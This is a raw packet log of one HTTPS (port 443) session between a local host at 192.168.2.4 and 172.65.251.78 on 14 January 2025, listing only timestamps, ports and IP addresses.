Jan 14, 2025 13:28:38.997641087 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.997693062 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.997699022 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.997740030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.997868061 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.997883081 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.997929096 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.997935057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.997973919 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.998058081 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998071909 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998126030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.998131990 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998171091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.998312950 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998326063 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998378992 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.998384953 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998425007 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.998634100 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998647928 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998702049 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.998708010 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.998749018 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.999042034 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.999090910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.999102116 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.999108076 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:38.999133110 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:38.999144077 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.087615967 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087636948 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087696075 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.087704897 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087714911 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087742090 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087744951 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.087754965 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087769985 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.087801933 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.087975025 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.087994099 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088033915 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088040113 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088079929 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088323116 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088336945 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088386059 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088392019 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088407040 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088433027 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088639975 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088653088 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088706017 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088711977 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088751078 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088913918 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088936090 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.088972092 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.088977098 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089004040 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.089010954 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.089232922 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089246988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089297056 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.089302063 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089342117 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.089530945 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089543104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089579105 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.089582920 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.089607000 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.089618921 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.187416077 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187448978 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187519073 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187551975 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.187583923 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187606096 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.187652111 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.187696934 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187720060 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187752962 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.187760115 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187779903 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.187849045 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.187866926 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188141108 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188174963 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188174963 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188184023 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188196898 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188246965 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188368082 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188384056 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188445091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188452005 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188493013 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188543081 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188559055 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188611031 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188617945 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188647985 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188657045 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188663006 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188699007 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188699007 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188716888 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.188747883 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.188757896 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.269409895 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.269438028 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.269515991 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.269541025 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.269562006 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.269582987 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.269627094 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.269793034 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.269807100 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.269861937 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.269874096 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270001888 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270026922 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270055056 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.270062923 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270081043 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.270322084 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270349026 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270414114 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.270421982 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.270454884 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.271056890 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271083117 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271120071 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.271126986 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271140099 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.271420002 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271434069 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271486998 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.271495104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271651983 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271671057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271707058 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.271714926 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.271733999 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.321832895 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360193014 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360204935 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360294104 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360308886 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360354900 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360368013 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360378981 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360394001 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360403061 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360410929 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360431910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360436916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360452890 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360459089 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360483885 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360507011 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360560894 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360619068 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360681057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360740900 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360761881 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360775948 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360821962 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.360831022 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.360865116 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.361699104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.361713886 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.361768961 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.361778021 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.361816883 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.362649918 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.362665892 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.362718105 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.362734079 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.362766981 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.363104105 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.363121986 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.363183022 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.363193989 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.363239050 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.363358974 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.363379002 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.363431931 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.363445044 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.363480091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.450920105 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.450944901 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451082945 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.451101065 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451114893 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451134920 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451167107 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.451193094 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451204062 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.451234102 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.451630116 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451658010 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451697111 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.451704025 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.451736927 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.451869011 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.452064991 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.452080011 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.452135086 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.452141047 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.452188969 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.452543974 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.452563047 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.452615976 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.452624083 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.452665091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.453178883 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.453192949 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.453248024 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.453253984 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.453296900 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.453641891 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.453658104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.453748941 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.453756094 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.453798056 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.454071999 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.454087019 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.454148054 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.454154968 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.454193115 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541263103 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541297913 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541363955 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541380882 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541404963 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541440010 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541475058 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541604042 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541623116 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541659117 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541665077 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541675091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541836023 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541852951 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541899920 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.541907072 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.541918039 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.542180061 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542197943 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542242050 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.542251110 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542267084 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.542614937 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542633057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542681932 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.542690039 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542963028 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.542982101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.543035030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.543042898 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.543227911 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.543251038 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.543299913 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.543307066 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.543324947 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.587523937 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.631736994 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.631748915 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.631815910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.631839991 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.631854057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.631881952 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.631901026 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632271051 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632288933 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632359982 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632365942 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632411003 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632498980 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632520914 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632580042 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632587910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632642031 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632771969 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632786989 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632842064 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632848978 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632900000 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.632949114 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.632962942 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633008957 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633014917 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633043051 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633058071 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633189917 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633204937 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633240938 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633246899 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633265972 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633296013 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633544922 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633562088 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633640051 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633670092 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633686066 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633724928 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633862019 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.633932114 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.633944988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.670775890 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.670800924 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.670850992 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.670882940 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.670902014 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.712449074 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.723504066 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723514080 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723553896 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723563910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723865986 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723874092 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723891020 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.723897934 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.724204063 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733129978 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.733169079 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733195066 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733213902 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.733231068 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733238935 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733254910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.733266115 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733289957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733298063 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.733321905 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733342886 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:39.733356953 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:39.733369112 CET	443	49730	172.65.251.78	192.168.2.4
